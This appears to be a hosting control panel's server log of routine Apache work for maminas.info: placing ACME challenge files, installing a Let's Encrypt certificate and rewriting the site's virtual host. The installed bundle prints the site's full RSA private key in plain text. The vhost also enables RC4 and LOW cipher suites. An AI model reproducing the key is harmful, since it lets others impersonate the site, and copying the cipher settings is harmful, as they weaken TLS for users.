MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-28 11:38:39: Establishing a connection
2026-01-28 11:38:39: Establishing a connection
2026-01-28 11:38:39: 

PUT: /tmp/pkp695209

#!/bin/bash
if [ -d "/var/www/maminas_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-28 11:38:39: 

chmod 755 /tmp/pkp695209; /tmp/pkp695209; rm /tmp/pkp695209

2026-01-28 11:38:39: 


1


2026-01-28 11:38:41: Establishing a connection
2026-01-28 11:38:41: 

PUT: /tmp/pkp925252

#!/bin/bash
mkdir -p "/var/www/maminas_www/.well-known/acme-challenge/"
cd "/var/www/maminas_www/.well-known/acme-challenge/"
cat > 7yxdOhWHqz8ZLRf88pndUc8et1TkUbhjgq1E6_lZWds <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
7yxdOhWHqz8ZLRf88pndUc8et1TkUbhjgq1E6_lZWds.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 7yxdOhWHqz8ZLRf88pndUc8et1TkUbhjgq1E6_lZWds
cat > WNbMN06P1-ymVra_cG9Ojg30cmEQslj63V4HWQG8sRI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
WNbMN06P1-ymVra_cG9Ojg30cmEQslj63V4HWQG8sRI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 WNbMN06P1-ymVra_cG9Ojg30cmEQslj63V4HWQG8sRI


2026-01-28 11:38:41: 

chmod 755 /tmp/pkp925252; /tmp/pkp925252; rm /tmp/pkp925252

2026-01-28 11:38:41: 




2026-01-28 11:38:54: Establishing a connection
2026-01-28 11:38:54: 

PUT: /tmp/pkp496785

#!/bin/bash
mkdir -p "/var/www/maminas_www/.well-known/acme-challenge/"
cd "/var/www/maminas_www/.well-known/acme-challenge/"
rm 7yxdOhWHqz8ZLRf88pndUc8et1TkUbhjgq1E6_lZWds
rm WNbMN06P1-ymVra_cG9Ojg30cmEQslj63V4HWQG8sRI


2026-01-28 11:38:54: 

chmod 755 /tmp/pkp496785; /tmp/pkp496785; rm /tmp/pkp496785

2026-01-28 11:38:54: 




2026-01-28 11:38:54: Establishing a connection
2026-01-28 11:38:54: 

PUT: /tmp/pkp749307

#!/bin/bash
temp_file=$(mktemp)
TARGET=aa64a65ef2076a4bf3eeaac96e0b38a2.crt

cat > $temp_file <<'endmsg'
73:9e:76:32:3d:5d:ba:5e:8e:a8:72:24:b0:2a:fc:74

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBd5Nm8aDsapyk2KA70tqHvyPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTI4MTA0MDIxWhcNMjYwNDI4MTA0MDIwWjAXMRUwEwYDVQQD
EwxtYW1pbmFzLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDS
3+UEmjRm/7ldSK0gseqDB+MpGtfZV98hNMCDfpQMWeVMMvJJPv6qI51uq6sKnus8
/uwJzvMldnoLdXOFtU63KW5a0x4GJ3UcMPaT1d1V2sE8WMw7jGKXTDIJwOON18fa
rgSDjbtCR0/tBnNUTDqjOtfguM8OWVx4hfzSoz4MyktY6OHh38I8LIo92oKPbpW4
H2y04GMzNTX3LnsUe58rH4iZSDnDBHOEq7hwPpQxl1gBDs/JcBBQPC7NF5S7Sfoq
ndNqakx+RvfPDcpcxJ61ySxeYCu+EIX74KEt3vq4iWd0LDvDwnmRtUTr2dLO7c4o
D/pFXpcfScRL7zraD6lPAgMBAAGjggI0MIICMDAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFLQCFYFOGrobbvoDKMK+EyuBPGnbMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMbWFtaW5hcy5pbmZvghB3d3cubWFt
aW5hcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTYuY3JsMIIBCgYKKwYBBAHWeQIEAgSB
+wSB+AD2AHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGcBGYt
gwAABAMARjBEAiABRm/rxOHdKg8pbL1JJLr8hTBC2AnOTap68FhRyML8WQIgPxZ7
9d6KScOJ4H/XwAuY4yLVHHYUBmT3aLc/6t84itkAfQDjI43yjaKI4KrgrPD6kMmF
8La/9dKlJ7AB/BxEWMS26AAAAZwEZjbTAAgAAAUAMLt7JQQDAEYwRAIgHTzOP+OB
K+DG9ZstnegcAlLEVHXgjxwtwn11acggIaECICp42aDzYxKzCzucwBv4TZqJ4FVE
b3WjpQDhW6xFIy6OMA0GCSqGSIb3DQEBCwUAA4IBAQCNNBMz0gEau4tp+YYInyVZ
eQ0fapu2vqa8qQcd4j6vocnnyRm0CyQQLHn7a+pweduoMZsdYr+kzy4iyVOIzPAs
EASycbz5sDplpMdvXjz6XGggg3AuMySy/aD/XSwuOc28/ujAVWu59GGtmPwyRXCN
HByGsnOgijROwkoRVcAuMI8czeSDldAQeUKcbFlaLEsQM0Ge0/eGSXRAi6tqznB+
rp8S6kzwPuToV1WFEaqOBmJZVkwXx0HH+l5iGoqyVvESC+6Kc6F/tAcXWBN+zo0a
ztbfweDPxO54R8IXGpP/J88RnFIYGb+mkxEsDyxwxRV43wbESqUhqCJqkUrEjKmf
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDS3+UEmjRm/7ld
SK0gseqDB+MpGtfZV98hNMCDfpQMWeVMMvJJPv6qI51uq6sKnus8/uwJzvMldnoL
dXOFtU63KW5a0x4GJ3UcMPaT1d1V2sE8WMw7jGKXTDIJwOON18fargSDjbtCR0/t
BnNUTDqjOtfguM8OWVx4hfzSoz4MyktY6OHh38I8LIo92oKPbpW4H2y04GMzNTX3
LnsUe58rH4iZSDnDBHOEq7hwPpQxl1gBDs/JcBBQPC7NF5S7SfoqndNqakx+RvfP
DcpcxJ61ySxeYCu+EIX74KEt3vq4iWd0LDvDwnmRtUTr2dLO7c4oD/pFXpcfScRL
7zraD6lPAgMBAAECggEALkx0JveIa9jXpPCQ+m21tIEl0d+P5qtRVSQU5IoFDVUr
b/h7k7NeDJL3PNY6HoHX2jOKNXkXj3EcyKlH7OJq3vIcxZo2rFk7cC4b5Ud+ahw2
cv54ENb4yokzL0sHaxwmSBAO86dJpvqrRLo21hpKgY4o2bEZ3Oen0tpwMPsgY4Qc
yyuTUwiM0ApyCG067pfdEjElo7Gptger5LTEXi1Hz/hbgFLa5cxEwDUxgpIjOeHL
RN5S7t80gNLdJaC0oTI9tCvZnXjOKrTl+AF6AH3kXPbZu1898XYeRLBSBY418qmo
OHXQveHNApE+ZVkCPekpWJ9YCt2AZTNgupIL06hnUQKBgQDtyKW+y7+TMabniswb
fBvrF4Twka4mmD9OLbu9D9GCOaWKsfKHDzJJo7Av5Gea8M703DROyWBXIaUEfASf
wDgEp5CmUg5pL0c9qOZ+NzUh3XIHjp8w2Np3WPcu3fXJF4mUQXC+qFEw6+H5lsXv
owaXt6ROTdg+3bJh3Pw7BoU52QKBgQDjB4Lf7lQjJV1WN3R3IF4cwgwfEtu+5Z/H
XUPTOf3SVvAMBJPSUuiNm9imR6JHezof87QGU0TpstPDYoeuea0DOMM9MMv633/Q
H4JoKy84niQbE2EYxbgnCCJiUeY/1COEPO0a8Jdb9m78uDQ4u0tfnLoDWrhDP/nz
L1TPJ4ebZwKBgQCAlMLD9Muone3iQVTz+93g97vklvJ0XlnFPcfKibZCVEfnQyih
zh7kYUaR71HzIArZsAX9ILofA8uHLEUX2cqxAaefuLmgOXetqRrS36m0oVnbKk19
DZa9ePdZeZ9CWZ8E84ozHzOgX723yMdKOX8EJcMMsN2hySJ/9w7SIEmEqQKBgEvF
aP+1+mzUfqdU0NElg2OTvBnu4FqBJueSEB4CX92A2JMaP//VXfpNRmyQwe+biBW7
75yg1AIvhg/S5bfssjq+CiN1Es9DItRif9KmfxclaKWEvUZYTxLv2xH3haJN+iCb
eQMhw1KVGAvOqtc4Y3qgw1B1ScRgKNrqNCMDbXYHAoGAR0pSCslAC2X/vCT9s5zF
daiO6+D4LOVncqNK6bxl9yIXroWWmxTr4AUfz/wwQwMvjIudsY+ltXopbPO1ue9G
jBTSGd+XWM7kX+E1SKasT61JoyQWdnroDmb+Mdz/YqiJWbPfQfHcBr2elr8ApGPS
v/PCsoJx/57dNyCgKgnjhWg=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-28 11:38:54: 

chmod 755 /tmp/pkp749307; /tmp/pkp749307; rm /tmp/pkp749307

2026-01-28 11:38:54: 


dir=/etc/ssl/certs


2026-01-28 11:38:54: 

PUT: /tmp/pkp626329

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/maminas_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-28 11:38:54: 

chmod 755 /tmp/pkp626329; /tmp/pkp626329; rm /tmp/pkp626329

2026-01-28 11:38:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/maminas_www_info.conf 40

<VirtualHost *:80>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_error.log
    SetEnv pkp_uid	56
    SetEnv pkp_owner	maminas
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_secure_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-28 11:38:54: 

PUT: /tmp/pkp465774

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=maminas_www_info.conf
TARGET=/etc/apache2/sites-enabled/maminas_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_error.log
    SetEnv pkp_uid	56
    SetEnv pkp_owner	maminas
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_secure_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/maminas_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/maminas_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/maminas_www_info.conf= 1'
fi


2026-01-28 11:38:54: 

chmod 755 /tmp/pkp465774; /tmp/pkp465774; rm /tmp/pkp465774

2026-01-28 11:38:54: 




2026-01-28 11:38:54: 

PUT: /tmp/pkp920365

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-28 11:38:54: 

chmod 755 /tmp/pkp920365; /tmp/pkp920365; rm /tmp/pkp920365

2026-01-28 11:38:54: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-28 11:38:54: Establishing a connection
2026-01-28 11:38:55: 

PUT: /tmp/pkp385419

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-28 11:38:55: 

chmod 755 /tmp/pkp385419; /tmp/pkp385419; rm /tmp/pkp385419

2026-01-28 11:38:55: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
